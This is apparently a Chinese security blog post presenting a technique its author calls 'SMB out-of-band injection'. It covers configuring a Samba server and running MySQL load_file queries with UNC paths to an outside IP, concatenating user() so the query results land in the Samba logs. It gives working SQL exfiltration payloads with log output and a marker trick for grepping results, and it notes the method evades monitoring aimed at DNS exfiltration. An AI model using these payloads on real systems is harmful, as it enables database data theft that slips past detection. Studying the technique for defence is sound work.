温故而知新,今天在整理古老的近乎失传的DNS外带注入方法时,偶然间发现外带数据的装载区域并不一定是 域名前缀。放在后面也是可以的,由于目前网络上没有相关的记载,姑且称之为SMB外带注入吧。

    1. 搭建测试环境

     我使用的是CentOS7 ,直接

yum install samba

      然后vi /etc/samba/smb.conf修改配置文件:

   找到 security = user , 旧版本将user 改为share,这里我用的新版本,需要在后面添加:

map to guest = Bad User

    日志记录级别调到10 ,level 0-10 ,调到最高便于记录:   

log level =0

    然后再配置一个test共享:

[test]
        comment = Public stuff
        path = /usr/local/test
        public = yes
        browseable = yes
        guest ok = yes

保存后重启 samba服务。

然后找一台windows环境的机器,上面安装MySQL ,建议安装 MySQL 5.7.16 以下版本,主要是由于高版本有一个默认选项secure_file_priv ,默认不允许load_file 。

我们在MySQL服务器上执行这样一条SQL语句:

select load_file('\\\\118.193.40.73\\smb_test\\1.txt');

      在samba服务器上查看到了这样一条日志:

smbd_smb2_tree_connect: couldn't find service smb_test
[2021/06/26 21:40:05.263149,  3, pid=27801, effective(0, 0), real(0, 0), class=smb2] ../../source3/smbd/smb2_server.c:3266(smbd_smb2_request_error_ex)

如果执行的共享目录存在于服务器上:

select load_file('\\\\118.193.40.73\\test\\smb_test\\1.txt');

会得到这样的日志(vi /var/log/samba/log.smbd ):

check_reduced_name: check_reduced_name [smb_test.sym] [/usr/local/test]
[2021/06/26 21:44:07.854561, 10, pid=28050, effective(65534, 65534), real(65534, 0), class=vfs] ../../source3/smbd/vfs.c:1382(check_reduced_name)

使用这两种方法都可以。

我们选择第一种方法来查询一下user():

select load_file(concat('\\\\118.193.40.73\\',user(),'\\1.txt'));
smbd_smb2_tree_connect: couldn't find service root@localhost

可以收到查询的内容了。 经过测试,使用第一种方法查询时间为9.12秒,而第二种方法只需要1.93秒,相差还是挺大的,当然推荐第二种了。

有待改进之处:由于日志级别调到了最高,日志内容比较多,不便于查找,日志还需要进一步优化。不过,我们可以插入关键词进行匹配:

load_file(concat('\\\\118.193.40.73\\test\\[do9gy',user(),'do9gy]\\1.txt'))

经过优化后:

open_file_ntcreate: fname=[do9gyroot@localhostdo9gy].sym, dos_attrs=0x80 access_mask=0x120089 share_access=0x7 create_disposition = 0x1 create_options=0x40 unix mode=0744 oplock_request=256 private_flags = 0x0

这样就方便搜索多了(有点土耳其黑客的意思了)。

最后,来比较一下smb外带注入与DNS外带注入。

1. smb外带注入 可以一次性提交更大长度的字符,经测试长度在120是没有问题的,而dns前缀最多是63个字符。而且对特殊字符的兼容性比较好,目前测试发现 *是不行的,其他还有待fuzz。

2. smb外带注入不依赖于dns,可以绕过目前流量监测设备对异常域名前缀的捕获,可以直接使用ip,不需要dns请求。

3. 二者都受限于windows系统以及MySQL 的secure_file_priv 。